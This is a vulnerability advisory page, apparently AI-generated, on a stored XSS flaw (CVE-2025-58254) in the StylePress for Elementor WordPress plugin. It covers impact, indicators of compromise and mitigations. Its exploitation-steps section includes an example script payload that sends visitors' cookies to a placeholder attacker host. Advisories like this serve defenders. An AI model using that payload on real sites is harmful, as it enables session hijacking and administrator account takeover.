Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2025-58254
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-58254 is a Stored Cross-Site Scripting (XSS) vulnerability in the StylePress for Elementor WordPress plugin (also known as full-site-builder-for-elementor) developed by dtbaker. It affects all versions up to and including 1.2.1, with no official patch available as of the disclosure date. The vulnerability was discovered by Muhammad Yudha - DJ, reported on August 6, 2025, and published on September 22, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into content managed by the StylePress for Elementor plugin, which are then persistently stored and executed in victims' browsers when they visit affected pages. Exploitation requires low attack complexity but does require user interaction (a privileged user viewing the crafted content) and results in a changed scope, meaning the injected script can affect resources beyond the originating context (Patchstack, Red Hat CVE).

Impact

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the browsers of any visitor — including administrators — who view the affected content. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope means the impact can extend beyond the plugin itself to the broader WordPress environment and its users (Patchstack).

Exploitability

No evidence of active in-the-wild exploitation has been reported as of the disclosure date, and the vulnerability is assessed as low priority by Patchstack with an EPSS score of approximately 0.033% (0.000330), indicating a low near-term exploitation probability. The vulnerability requires an authenticated attacker with at least Contributor-level access, which limits opportunistic exploitation but does not eliminate risk in multi-author WordPress environments. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running StylePress for Elementor plugin version 1.2.1 or earlier, using tools like WPScan or by checking the plugin version in publicly accessible readme files.
  2. Obtain low-privilege access: Register or compromise an account with at least Contributor or Developer role on the target WordPress site.
  3. Inject malicious payload: Using the StylePress for Elementor interface, insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored by the plugin.
  4. Trigger execution: Wait for a privileged user (e.g., an administrator) to visit or preview the page containing the injected content, causing the malicious script to execute in their browser.
  5. Achieve objective: Leverage the executed script to steal session cookies, perform actions on behalf of the administrator, or further compromise the site (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests from low-privilege accounts to Elementor or StylePress plugin endpoints containing script tags or encoded JavaScript payloads.
  • File System: Unexpected modifications to plugin-managed templates or style configurations containing <script> tags or JavaScript event handlers.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages managed by the StylePress for Elementor plugin, potentially indicating cookie or credential exfiltration.
  • Database: WordPress database entries in post meta or plugin option tables containing obfuscated or raw JavaScript payloads associated with StylePress for Elementor content.

Mitigation and workarounds

As of the disclosure date (September 22, 2025), no official patched version of StylePress for Elementor is available. Site administrators should immediately consider deactivating and removing the plugin until a fix is released. As a compensating control, restrict Contributor and Developer role assignments to trusted users only, and implement a Web Application Firewall (WAF) with XSS filtering rules — Patchstack users receive virtual patching protection. Monitor the plugin's WordPress.org page and the vendor's repository for an updated release (Patchstack).

Community reactions

Patchstack, which coordinated the disclosure, classifies this as a low-priority issue with limited immediate exploitation risk, noting it was reported by independent researcher Muhammad Yudha - DJ. No significant vendor statement, notable researcher commentary, or broad media coverage has been identified beyond the Patchstack advisory (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-88788MEDIUM6.8
  • text-styler
NoNoSep 19, 2026
CVE-2026-9858MEDIUM4.3
  • wc-partial-shipment
NoYesSep 19, 2026
CVE-2026-9766MEDIUM4.3
  • empik-for-woocommerce
NoYesSep 19, 2026
CVE-2026-9613MEDIUM4.3
  • datalogics
NoYesSep 19, 2026
CVE-2026-87848LOW3.7
  • mpcx-lightbox
NoNoSep 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management